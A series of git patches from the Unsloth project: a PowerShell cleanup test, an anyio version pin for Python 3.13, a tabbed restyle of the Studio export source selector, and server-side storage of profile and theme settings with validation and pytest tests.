+    Set-Content -LiteralPath (Join-Path $dataC "unsloth.ico") -Value "ICO"
+    _RemoveDataDirKeepingWslIcon -DataDir $dataC -ShortcutDirs @()
+    Check "C: removed when no shortcut dirs" (-not (Test-Path -LiteralPath $dataC))
+
+    # ----- Case D: missing data dir -> no-op, no throw -----
+    $dataD = Join-Path $work "doesNotExist"
+    _RemoveDataDirKeepingWslIcon -DataDir $dataD -ShortcutDirs @($progA)
+    Check "D: missing dir is a safe no-op" (-not (Test-Path -LiteralPath $dataD))
+} finally {
+    Remove-Item -LiteralPath $work -Recurse -Force -ErrorAction SilentlyContinue
+}
+
+if ($failures -gt 0) { Write-Host ""; Write-Host "FAILED ($failures)" -ForegroundColor Red; exit 1 }
+Write-Host ""; Write-Host "All tests passed."; exit 0
diff --git a/unsloth/kernels/moe/tests/run_qwen3_moe_tests.sh b/unsloth/kernels/moe/tests/run_qwen3_moe_tests.sh
index ed0b9f6210..6ab91d30a2 100755
--- a/unsloth/kernels/moe/tests/run_qwen3_moe_tests.sh
+++ b/unsloth/kernels/moe/tests/run_qwen3_moe_tests.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 set -euo pipefail
 

From f10e47fc5177493b1b3b68041cb26471063604e0 Mon Sep 17 00:00:00 2001
From: MUHAMED FAZAL PS <107547381+muhamedfazalps@users.noreply.github.com>
Date: Mon, 22 Jun 2026 16:20:57 +0530
Subject: [PATCH 013/306] fix: pin anyio to <4.14.0 to fix RuntimeError on
 Python 3.13 (#6546)

* fix: pin anyio to <4.14.0 to fix RuntimeError on Python 3.13

Fixes #6483

anyio 4.14+ introduced cancel scope changes that cause
RuntimeError on Python 3.13. Pin to <4.14.0 until the issue is
resolved upstream.

---

If this helps, consider buying me a coffee: https://buymeacoffee.com/muhamedfazalps

* Cap anyio<4.14.0 in single-env constraints so the pin holds across all install steps (#6483)

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/backend/requirements/no-torch-runtime.txt       | 2 +-
 studio/backend/requirements/single-env/constraints.txt | 4 ++++
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt
index 6efe91d448..b0157cfea0 100644
--- a/studio/backend/requirements/no-torch-runtime.txt
+++ b/studio/backend/requirements/no-torch-runtime.txt
@@ -56,7 +56,7 @@ httpx
 httpcore
 certifi
 idna
-anyio
+anyio>=3.0,<4.14.0  # 4.14+ breaks cancel scope on Py3.13 (#6483)
 sniffio
 h11
 
diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt
index 156f78567e..aad4c38664 100644
--- a/studio/backend/requirements/single-env/constraints.txt
+++ b/studio/backend/requirements/single-env/constraints.txt
@@ -13,4 +13,8 @@ fastmcp>=3.0.2
 mcp>=1.24,<2
 websockets>=15.0.1
 
+# anyio 4.14+ breaks cancel scope on Python 3.13 (#6483). Global cap so later
+# with-deps steps (studio.txt, data-designer-deps.txt) can't re-resolve it up.
+anyio<4.14.0
+
 pandas==2.3.3

From 6001000a79a0fe7faac92a19a53abc6c04d04d9d Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Mon, 22 Jun 2026 12:52:11 +0200
Subject: [PATCH 014/306] Studio: restyle export source selector (#6562)

---
 studio/frontend/src/components/ui/tabs.tsx    |  25 +++-
 .../src/features/export/export-page.tsx       | 107 ++++++++++--------
 2 files changed, 81 insertions(+), 51 deletions(-)

diff --git a/studio/frontend/src/components/ui/tabs.tsx b/studio/frontend/src/components/ui/tabs.tsx
index 6f150cdf60..1e5381ab18 100644
--- a/studio/frontend/src/components/ui/tabs.tsx
+++ b/studio/frontend/src/components/ui/tabs.tsx
@@ -66,25 +66,38 @@ export const tabsListVariants = cva(
 export function TabsList({
   className,
   variant = "default",
+  unstyled = false,
   ...props
 }: React.ComponentProps<typeof TabsPrimitive.List> &
-  VariantProps<typeof tabsListVariants>): React.ReactElement {
+  VariantProps<typeof tabsListVariants> & {
+    unstyled?: boolean;
+  }): React.ReactElement {
   return (
     <TabsPrimitive.List
       data-slot="tabs-list"
       data-variant={variant}
-      className={cn(tabsListVariants({ variant }), className)}
+      className={cn(
+        unstyled
+          ? "group/tabs-list text-muted-foreground inline-flex items-center justify-center group-data-[orientation=vertical]/tabs:flex-col"
+          : tabsListVariants({ variant }),
+        className,
+      )}
       {...props}
     />
   );
 }
 
+type TabsTriggerProps = React.ComponentProps<typeof TabsPrimitive.Trigger> & {
+  indicatorClassName?: string;
+};
+
 export function TabsTrigger({
   className,
+  indicatorClassName,
   value,
   children,
   ...props
-}: React.ComponentProps<typeof TabsPrimitive.Trigger>): React.ReactElement {
+}: TabsTriggerProps): React.ReactElement {
   const ctx = React.useContext(TabsContext);
   const isActive = ctx.value === value;
 
@@ -106,7 +119,11 @@ export function TabsTrigger({
       {isActive && (
         <motion.span
           layoutId={`tab-bg-${ctx.id}`}
-          className="absolute inset-0 rounded-xl bg-background dark:bg-input/30 dark:border dark:border-input group-data-[variant=line]/tabs-list:bg-[#ececec] dark:group-data-[variant=line]/tabs-list:bg-[#2d2f33] dark:group-data-[variant=line]/tabs-list:border-0"
+          className={cn(
+            "absolute inset-0",
+            indicatorClassName ??
+              "rounded-xl bg-background dark:bg-input/30 dark:border dark:border-input group-data-[variant=line]/tabs-list:bg-[#ececec] dark:group-data-[variant=line]/tabs-list:bg-[#2d2f33] dark:group-data-[variant=line]/tabs-list:border-0",
+          )}
           transition={{
             type: "spring",
             stiffness: 500,
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 4d3cfad5dc..f4ce169bbe 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -26,6 +26,7 @@ import {
 } from "@/components/ui/select";
 import { Separator } from "@/components/ui/separator";
 import { Spinner } from "@/components/ui/spinner";
+import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
 import {
   Tooltip,
   TooltipContent,
@@ -76,6 +77,8 @@ import { exportTourSteps } from "./tour";
 
 const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
 
+type SourceTab = "local" | "checkpoint" | "hf";
+
 function buildRelativeSaveDirectory(
   exportMethod: ExportMethod | null,
   sourceBaseModelName: string,
@@ -351,6 +354,8 @@ export function ExportPage() {
         : GUIDE_STEPS,
     [sourceMode],
   );
+  const sourceTab: SourceTab =
+    sourceMode === "checkpoint" ? "checkpoint" : modelSource;
 
   // Reset checkpoint when the selected model changes
   useEffect(() => {
@@ -368,18 +373,22 @@ export function ExportPage() {
     }
   }, [isAdapter, isQuantized, exportMethod]);
 
-  const handleSourceModeSwitch = useCallback(
-    (next: "checkpoint" | "model") => {
-      setSourceMode(next);
-      if (next === "model") {
-        setExportMethod("gguf");
-      }
-      setSelectedSourceModel(null);
-      setLocalModelInput("");
-      setModelInput("");
-    },
-    [],
-  );
+  const handleSourceTabChange = useCallback((next: string) => {
+    if (next === "checkpoint") {
+      setSourceMode("checkpoint");
+    } else if (next === "hf" || next === "local") {
+      setSourceMode("model");
+      setModelSource(next);
+      setExportMethod("gguf");
+    } else {
+      return;
+    }
+    setSelectedSourceModel(null);
+    setLocalModelInput("");
+    setModelInput("");
+    hfModelInputRef.current = "";
+    localModelInputRef.current = "";
+  }, []);
 
   useEffect(() => {
     setSelectedSourceModel(null);
@@ -676,10 +685,10 @@ export function ExportPage() {
             <>
               {/* Top row: Dropdowns + metadata | Guide */}
               <div className="grid grid-cols-1 gap-6 md:grid-cols-2 md:gap-8">
-                <div className="flex flex-col gap-2">
-                  <div className="flex items-end justify-between">
+                <div className="flex flex-col gap-3">
+                  <div className="flex flex-col gap-2">
                     <label className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
-                      {sourceMode === "checkpoint" ? "Training Run" : "Model Source"}
+                      Source
                       <Tooltip>
                         <TooltipTrigger asChild={true}>
                           <button
@@ -693,30 +702,51 @@ export function ExportPage() {
                           </button>
                         </TooltipTrigger>
                         <TooltipContent>
-                          {sourceMode === "checkpoint"
-                            ? "Select the training run that produced the checkpoints you want to export."
-                            : "Select a Hugging Face model or local model path to export directly to GGUF."}
+                          Choose a local model, fine-tuned checkpoint, or
+                          Hugging Face model to export.
                         </TooltipContent>
                       </Tooltip>
                     </label>
-                    <button
-                      type="button"
-                      onClick={() =>
-                        handleSourceModeSwitch(
-                          sourceMode === "checkpoint" ? "model" : "checkpoint",
-                        )
-                      }
-                      className="text-xs text-primary underline cursor-pointer leading-none"
+                    <Tabs
+                      value={sourceTab}
+                      onValueChange={handleSourceTabChange}
+                      className="w-full"
                     >
-                      {sourceMode === "checkpoint"
-                        ? "Use Hugging Face / Local Model"
-                        : "Use Training Checkpoints"}
-                    </button>
+                      <TabsList
+                        unstyled={true}
+                        className="hub-menu-trigger hub-tab-toggle relative inline-flex h-9 w-full items-center rounded-full"
+                      >
+                        <TabsTrigger
+                          value="local"
+                          indicatorClassName="hub-tab-toggle-pill rounded-full"
+                          className="h-9 rounded-full border-0 px-3 text-[12.5px] text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
+                        >
+                          Local Model
+                        </TabsTrigger>
+                        <TabsTrigger
+                          value="checkpoint"
+                          indicatorClassName="hub-tab-toggle-pill rounded-full"
+                          className="h-9 rounded-full border-0 px-3 text-[12.5px] text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
+                        >
+                          Fine-tuned
+                        </TabsTrigger>
+                        <TabsTrigger
+                          value="hf"
+                          indicatorClassName="hub-tab-toggle-pill rounded-full"
+                          className="h-9 rounded-full border-0 px-3 text-[12.5px] text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
+                        >
+                          Hugging Face
+                        </TabsTrigger>
+                      </TabsList>
+                    </Tabs>
                   </div>
 
                   {sourceMode === "checkpoint" ? (
                     <div className="flex flex-col gap-2 overflow-visible">
                       <div data-tour="export-training-run" className="flex flex-col gap-2">
+                        <label className="text-xs font-medium text-muted-foreground">
+                          Training Run
+                        </label>
                         <Select
                           value={selectedModelIdx ?? ""}
                           onValueChange={setSelectedModelIdx}
@@ -830,23 +860,6 @@ export function ExportPage() {
                     </div>
                   ) : (
                     <div className="flex flex-col gap-2 overflow-visible">
-                      <div className="flex gap-2">
-                        <Button
-                          variant={modelSource === "hf" ? "dark" : "outline"}
-                          className="flex-1"
-                          onClick={() => setModelSource("hf")}
-                        >
-                          Hugging Face
-                        </Button>
-                        <Button
-                          variant={modelSource === "local" ? "dark" : "outline"}
-                          className="flex-1"
-                          onClick={() => setModelSource("local")}
-                        >
-                          Local Model
-                        </Button>
-                      </div>
-
                       {modelSource === "hf" ? (
                         <>
                           <div className="flex flex-col gap-2">

From 53e8de601d6b426fb5943f937a3bff4c1384438a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 04:09:48 -0700
Subject: [PATCH 015/306] studio: persist personalization (profile, avatar,
 theme) server-side (#6516)

* studio: persist personalization (profile + theme) server-side

Profile name/nickname/avatar and appearance (theme) were stored only in the
browser's localStorage, so every browser or device that connected to the same
Studio started from defaults and forgot the user's personalization.

Persist them server-side (single-account, stored as one JSON blob in
app_settings) so they follow the account:
- utils/personalization_settings.py + GET/PUT /api/settings/personalization,
  with validation (theme/shape enums, avatar must be an image data URL capped at
  512 KB) and a 'saved' flag.
- Frontend usePersonalizationSync (mounted in the root layout when signed in)
  hydrates the profile + theme stores from the server when a blob exists, and
  otherwise migrates the existing local settings up once so nothing is lost;
  later changes are written through, debounced. Writers keep using the local
  stores unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix/adjust personalization sync for PR #6516

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Studio personalization sync edge cases

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/routes/settings.py             |  88 +++++-
 .../tests/test_personalization_settings.py    | 146 ++++++++++
 .../backend/utils/personalization_settings.py |  20 ++
 studio/frontend/src/app/routes/__root.tsx     |  13 +-
 .../profile-personalization-panel.tsx         |  26 +-
 .../profile/hooks/use-personalization-sync.ts | 267 ++++++++++++++++++
 studio/frontend/src/features/profile/index.ts |   1 +
 .../profile/stores/user-profile-store.ts      |   3 +-
 .../features/settings/api/personalization.ts  |  46 +++
 .../frontend/src/features/settings/index.ts   |  11 +
 10 files changed, 612 insertions(+), 9 deletions(-)
 create mode 100644 studio/backend/tests/test_personalization_settings.py
 create mode 100644 studio/backend/utils/personalization_settings.py
 create mode 100644 studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
 create mode 100644 studio/frontend/src/features/settings/api/personalization.ts

diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index 516502c1e5..d01009fc20 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -1,12 +1,21 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+from typing import Literal, Optional
+from urllib.parse import unquote, urlsplit
+
 from fastapi import APIRouter, Depends
-from pydantic import BaseModel, Field
+from pydantic import BaseModel, ConfigDict, Field, field_validator
 
 from auth.authentication import get_current_subject
 from loggers import get_logger
 from utils.utils import safe_error_detail, log_and_http_error
+from utils.personalization_settings import (
+    MAX_AVATAR_DATA_URL_BYTES,
+    PERSONALIZATION_VERSION,
+    get_personalization,
+    set_personalization,
+)
 from utils.upload_limits import (
     MAX_UPLOAD_LIMIT_MB,
     MIN_UPLOAD_LIMIT_MB,
@@ -111,3 +120,80 @@ def update_helper_precache(
             log = logger,
         ) from exc
     return _helper_precache_response(enabled)
+
+
+def _is_bundled_avatar_url(value: str) -> bool:
+    parsed = urlsplit(value)
+    if parsed.scheme or parsed.netloc:
+        return False
+    path = unquote(parsed.path).lstrip("/")
+    if ".." in path.split("/"):
+        return False
+    marker = "Sloth emojis/"
+    if marker not in path:
+        return False
+    return path[path.index(marker) :].lower().endswith(".png")
+
+
+class PersonalizationProfile(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    displayName: str = Field("", max_length = 200)
+    nickname: str = Field("", max_length = 200)
+    avatarDataUrl: Optional[str] = Field(None, max_length = MAX_AVATAR_DATA_URL_BYTES)
+    avatarShape: Literal["circle", "rounded"] = "circle"
+
+    @field_validator("avatarDataUrl")
+    @classmethod
+    def _validate_avatar(cls, value: Optional[str]) -> Optional[str]:
+        if not value:
+            return value
+        if not value.startswith("data:image/") and not _is_bundled_avatar_url(value):
+            raise ValueError("avatarDataUrl must be an image data URL or bundled avatar.")
+        return value
+
+
+class PersonalizationAppearance(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    theme: Literal["light", "dark", "system"] = "system"
+    language: Optional[str] = Field(None, max_length = 20)
+
+
+class PersonalizationPayload(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    version: int = PERSONALIZATION_VERSION
+    profile: PersonalizationProfile = Field(default_factory = PersonalizationProfile)
+    appearance: PersonalizationAppearance = Field(default_factory = PersonalizationAppearance)
+
+
+class PersonalizationResponse(PersonalizationPayload):
+    saved: bool = False
+
+
+@router.get("/personalization", response_model = PersonalizationResponse)
+def get_personalization_settings(
+    current_subject: str = Depends(get_current_subject),
+) -> PersonalizationResponse:
+    stored = get_personalization()
+    response = PersonalizationResponse.model_validate(stored or {})
+    response.saved = bool(stored)
+    return response
+
+
+@router.put("/personalization", response_model = PersonalizationPayload)
+def update_personalization_settings(
+    payload: PersonalizationPayload, current_subject: str = Depends(get_current_subject)
+) -> PersonalizationPayload:
+    try:
+        set_personalization(payload.model_dump())
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid personalization settings."),
+            event = "settings.update_personalization_failed",
+            log = logger,
+        ) from exc
+    return payload
diff --git a/studio/backend/tests/test_personalization_settings.py b/studio/backend/tests/test_personalization_settings.py
new file mode 100644
index 0000000000..c80bfa196b
--- /dev/null
+++ b/studio/backend/tests/test_personalization_settings.py
@@ -0,0 +1,146 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import sys
+from pathlib import Path
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+from pydantic import ValidationError
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import utils.personalization_settings as pers  # noqa: E402
+from auth.authentication import get_current_subject  # noqa: E402
+from routes import settings as settings_routes  # noqa: E402
+from routes.settings import PersonalizationPayload  # noqa: E402
+
+
+def test_defaults_fill_missing_fields():
+    p = PersonalizationPayload.model_validate({})
+    assert p.version == pers.PERSONALIZATION_VERSION
+    assert p.appearance.theme == "system"
+    assert p.profile.avatarShape == "circle"
+    assert p.profile.displayName == ""
+
+
+def test_unknown_keys_are_ignored():
+    p = PersonalizationPayload.model_validate(
+        {"profile": {"displayName": "Mike", "bogus": 1}, "extra": True}
+    )
+    assert p.profile.displayName == "Mike"
+
+
+def test_invalid_theme_rejected():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"theme": "neon"}})
+
+
+def test_avatar_must_be_image_data_url():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"profile": {"avatarDataUrl": "http://example.com/a.png"}}
+        )
+
+
+def test_avatar_size_is_capped():
+    big = "data:image/png;base64," + "A" * (pers.MAX_AVATAR_DATA_URL_BYTES + 1)
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"profile": {"avatarDataUrl": big}})
+
+
+def test_valid_avatar_and_shape():
+    p = PersonalizationPayload.model_validate(
+        {
+            "profile": {
+                "avatarDataUrl": "data:image/png;base64,AAAA",
+                "avatarShape": "rounded",
+            }
+        }
+    )
+    assert p.profile.avatarShape == "rounded"
+
+
+def test_bundled_avatar_url_allowed():
+    p = PersonalizationPayload.model_validate(
+        {"profile": {"avatarDataUrl": "/Sloth%20emojis/large%20sloth%20yay.png"}}
+    )
+    assert p.profile.avatarDataUrl == "/Sloth%20emojis/large%20sloth%20yay.png"
+
+
+def test_bundled_avatar_subpath_allowed():
+    p = PersonalizationPayload.model_validate(
+        {"profile": {"avatarDataUrl": "/studio/Sloth%20emojis/large%20sloth%20yay.png"}}
+    )
+    assert "Sloth%20emojis" in p.profile.avatarDataUrl
+
+
+def test_bundled_avatar_traversal_rejected():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"profile": {"avatarDataUrl": "/Sloth%20emojis/../secret.png"}}
+        )
+
+
+def test_get_read_errors_propagate(monkeypatch):
+    def fail(*args, **kwargs):
+        raise RuntimeError("read failed")
+
+    monkeypatch.setattr("storage.studio_db.get_app_setting", fail)
+
+    with pytest.raises(RuntimeError, match = "read failed"):
+        pers.get_personalization()
+
+
+def test_get_set_roundtrip(monkeypatch):
+    store: dict = {}
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr("storage.studio_db.upsert_app_settings", lambda d: store.update(d))
+
+    assert pers.get_personalization() == {}
+    data = {
+        "version": 1,
+        "profile": {"displayName": "Mike"},
+        "appearance": {"theme": "dark"},
+    }
+    pers.set_personalization(data)
+    assert store[pers.PERSONALIZATION_SETTING_KEY]["profile"]["displayName"] == "Mike"
+    assert pers.get_personalization()["appearance"]["theme"] == "dark"
+
+
+def test_personalization_route_roundtrip_real_shape(monkeypatch):
+    store: dict = {}
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr("storage.studio_db.upsert_app_settings", lambda d: store.update(d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    client = TestClient(app)
+
+    initial = client.get("/api/settings/personalization")
+    assert initial.status_code == 200
+    assert initial.json()["saved"] is False
+
+    payload = {
+        "version": 1,
+        "profile": {
+            "displayName": "Mike",
+            "nickname": "M",
+            "avatarDataUrl": "/Sloth%20emojis/large%20sloth%20yay.png",
+            "avatarShape": "rounded",
+        },
+        "appearance": {"theme": "dark", "language": "en"},
+    }
+    put = client.put("/api/settings/personalization", json = payload)
+    assert put.status_code == 200
+
+    saved = client.get("/api/settings/personalization")
+    assert saved.status_code == 200
+    body = saved.json()
+    assert body["saved"] is True
+    assert body["profile"] == payload["profile"]
+    assert body["appearance"] == payload["appearance"]
diff --git a/studio/backend/utils/personalization_settings.py b/studio/backend/utils/personalization_settings.py
new file mode 100644
index 0000000000..3efbf16623
--- /dev/null
+++ b/studio/backend/utils/personalization_settings.py
@@ -0,0 +1,20 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+PERSONALIZATION_SETTING_KEY = "personalization"
+PERSONALIZATION_VERSION = 1
+MAX_AVATAR_DATA_URL_BYTES = 512 * 1024
+
+
+def get_personalization() -> dict:
+    from storage.studio_db import get_app_setting
+    stored = get_app_setting(PERSONALIZATION_SETTING_KEY, None)
+    return stored if isinstance(stored, dict) else {}
+
+
+def set_personalization(data: dict) -> dict:
+    from storage.studio_db import upsert_app_settings
+    upsert_app_settings({PERSONALIZATION_SETTING_KEY: data})
+    return data
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index f4f40e73f6..b7e7bc01d2 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -5,7 +5,10 @@ import { AppSidebar } from "@/components/app-sidebar";
 import { Navbar } from "@/components/navbar";
 import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { SidebarInset, SidebarProvider } from "@/components/ui/sidebar";
-import { SettingsDialog, useSettingsDialogStore } from "@/features/settings";
+import {
+  SettingsDialog,
+  useSettingsDialogStore,
+} from "@/features/settings";
 import {
   ChatPage,
   clearNewChatDraft,
@@ -15,6 +18,8 @@ import {
 import { RemoteCodeConsentDialog } from "@/features/security";
 import { useTrainingUnloadGuard } from "@/features/training";
 import { useExportRuntimeLifecycle } from "@/features/export";
+import { hasAuthToken } from "@/features/auth";
+import { usePersonalizationSync } from "@/features/profile";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { useT, type TranslationKey } from "@/i18n";
 import {
@@ -52,6 +57,11 @@ function RouteFallback() {
   );
 }
 
+function PersonalizationSyncMount() {
+  usePersonalizationSync(hasAuthToken());
+  return null;
+}
+
 const CHAT_ONLY_ALLOWED = new Set([
   "/",
   "/chat",
@@ -200,6 +210,7 @@ function RootLayout() {
 
   return (
     <AppProvider>
+      <PersonalizationSyncMount />
       <SettingsDialog />
       <RemoteCodeConsentDialog />
       {hideNavbar ? (
diff --git a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
index 4ec8395bcf..7c81411a3c 100644
--- a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
+++ b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
@@ -11,11 +11,14 @@ import { useT } from "@/i18n";
 import { toastError, toastSuccess } from "@/shared/toast";
 import { Camera01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useMemo, useRef, useState } from "react";
+import { useEffect, useMemo, useRef, useState } from "react";
 import { SLOTH_AVATARS } from "../sloth-avatars";
 import { decodeJwtSubject } from "../utils/jwt-subject";
 import { resizeImageFileToDataUrl } from "../utils/resize-image-file";
-import { useUserProfileStore } from "../stores/user-profile-store";
+import {
+  PROFILE_TEXT_MAX_LENGTH,
+  useUserProfileStore,
+} from "../stores/user-profile-store";
 import { UserAvatar } from "./user-avatar";
 
 const PROFILE_STORAGE_KEY = "unsloth_user_profile";
@@ -65,6 +68,8 @@ export function ProfilePersonalizationPanel() {
   const [draftName, setDraftName] = useState(displayName);
   const [draftNickname, setDraftNickname] = useState(nickname);
   const fileInputRef = useRef<HTMLInputElement>(null);
+  const lastDisplayNameRef = useRef(displayName);
+  const lastNicknameRef = useRef(nickname);
 
   const sessionSub = decodeJwtSubject(getAuthToken()) ?? "";
   const previewName = draftName.trim() || sessionSub || "Unsloth";
@@ -77,6 +82,18 @@ export function ProfilePersonalizationPanel() {
     [draftNickname, nickname],
   );
 
+  useEffect(() => {
+    const previous = lastDisplayNameRef.current;
+    lastDisplayNameRef.current = displayName;
+    setDraftName((draft) => (draft === previous ? displayName : draft));
+  }, [displayName]);
+
+  useEffect(() => {
+    const previous = lastNicknameRef.current;
+    lastNicknameRef.current = nickname;
+    setDraftNickname((draft) => (draft === previous ? nickname : draft));
+  }, [nickname]);
+
   const saveName = () => {
     const trimmed = draftName.trim();
     if (trimmed !== draftName) setDraftName(trimmed);
@@ -111,7 +128,6 @@ export function ProfilePersonalizationPanel() {
     }
   };
 
-  // Persist an avatar value (data URL or asset URL) and toast the result.
   const applyAvatar = (value: string) => {
     setAvatarDataUrl(value);
     const persisted = readPersistedProfile();
@@ -138,7 +154,6 @@ export function ProfilePersonalizationPanel() {
     }
   };
 
-  // Use a bundled sloth sticker as the avatar.
   const pickSloth = (path: string) => {
     setImageError(null);
     applyAvatar(publicAssetUrl(path));
@@ -182,6 +197,7 @@ export function ProfilePersonalizationPanel() {
             id="profile-display-name"
             type="text"
             value={draftName}
+            maxLength={PROFILE_TEXT_MAX_LENGTH}
             onChange={(e) => setDraftName(e.target.value)}
             onKeyDown={(e) => {
               if (e.key === "Enter") {
@@ -208,6 +224,7 @@ export function ProfilePersonalizationPanel() {
             id="profile-nickname"
             type="text"
             value={draftNickname}
+            maxLength={PROFILE_TEXT_MAX_LENGTH}
             onChange={(e) => setDraftNickname(e.target.value)}
             onKeyDown={(e) => {
               if (e.key === "Enter") {
@@ -259,7 +276,6 @@ export function ProfilePersonalizationPanel() {
           {SLOTH_AVATARS.map((path) => {
             const url = publicAssetUrl(path);
             const selected = avatarDataUrl === url;
-            // Readable accessible name from the filename, e.g. "sloth yay".
             const label =
               path.split("/").pop()?.replace(/\.png$/i, "").replace(/^large\s+/i, "").trim() ??
               "sloth";
diff --git a/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts b/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
new file mode 100644
index 0000000000..eac1a64d7a
--- /dev/null
+++ b/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
@@ -0,0 +1,267 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  loadPersonalization,
+  savePersonalization,
+  setTheme,
+  useTheme,
+  type Theme,
+} from "@/features/settings";
+import {
+  DEFAULT_LOCALE,
+  getLocale,
+  isSupportedLocale,
+  setLocale,
+  useLocale,
+  type Locale,
+} from "@/i18n";
+import { useCallback, useEffect, useRef, useState } from "react";
+import {
+  PROFILE_TEXT_MAX_LENGTH,
+  useUserProfileStore,
+} from "../stores/user-profile-store";
+import type { AvatarShape } from "../stores/user-profile-store";
+
+const PUSH_DEBOUNCE_MS = 800;
+
+type ProfileSnapshot = {
+  displayName: string;
+  nickname: string;
+  avatarDataUrl: string | null;
+  avatarShape: AvatarShape;
+};
+
+type PersonalizationWrite = Parameters<typeof savePersonalization>[0];
+type QueuedSave = {
+  data: PersonalizationWrite;
+  generation: number;
+  serialized: string;
+};
+type RefValue<T> = { current: T };
+
+function profileText(value: string): string {
+  return value.slice(0, PROFILE_TEXT_MAX_LENGTH);
+}
+
+function normalizeProfile(profile: ProfileSnapshot): ProfileSnapshot {
+  return {
+    ...profile,
+    displayName: profileText(profile.displayName),
+    nickname: profileText(profile.nickname),
+  };
+}
+
+function sameProfile(a: ProfileSnapshot, b: ProfileSnapshot): boolean {
+  return (
+    a.displayName === b.displayName &&
+    a.nickname === b.nickname &&
+    a.avatarDataUrl === b.avatarDataUrl &&
+    a.avatarShape === b.avatarShape
+  );
+}
+
+function drainQueuedSave(
+  saveInFlightRef: RefValue<boolean>,
+  queuedSaveRef: RefValue<QueuedSave | null>,
+  authGenerationRef: RefValue<number>,
+  lastSavedRef: RefValue<string>,
+): void {
+  if (saveInFlightRef.current) return;
+  const next = queuedSaveRef.current;
+  if (!next) return;
+  queuedSaveRef.current = null;
+  saveInFlightRef.current = true;
+  void savePersonalization(next.data)
+    .then(() => {
+      if (authGenerationRef.current === next.generation) {
+        lastSavedRef.current = next.serialized;
+      }
+    })
+    .catch(() => {
+      if (authGenerationRef.current === next.generation) {
+        lastSavedRef.current = "";
+      }
+    })
+    .finally(() => {
+      saveInFlightRef.current = false;
+      const queued = queuedSaveRef.current;
+      if (queued && authGenerationRef.current === queued.generation) {
+        drainQueuedSave(
+          saveInFlightRef,
+          queuedSaveRef,
+          authGenerationRef,
+          lastSavedRef,
+        );
+      }
+    });
+}
+
